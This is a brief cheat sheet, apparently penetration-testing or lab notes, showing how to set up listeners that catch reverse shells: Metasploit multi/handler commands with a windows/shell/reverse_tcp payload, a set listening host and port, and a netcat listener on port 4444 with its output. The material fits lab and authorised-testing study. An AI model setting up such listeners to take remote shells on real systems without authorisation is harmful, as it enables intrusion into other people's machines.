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# Listener Setup

### Metasploit multi/handler listener

```
use exploit/multi/handler
// The payload should be the same as the one, you used to generate 
the payload using msfvenom
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp

msf exploit(multi/handler) > set lhost 10.10.14.27
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > exploit
```

### Netcat listener for unstaged payload

```
nc -nvlp 4444
```

```
nc: listening on :: 4444 ...
```

```
nc: listening on 0.0.0.0 4444 ...
```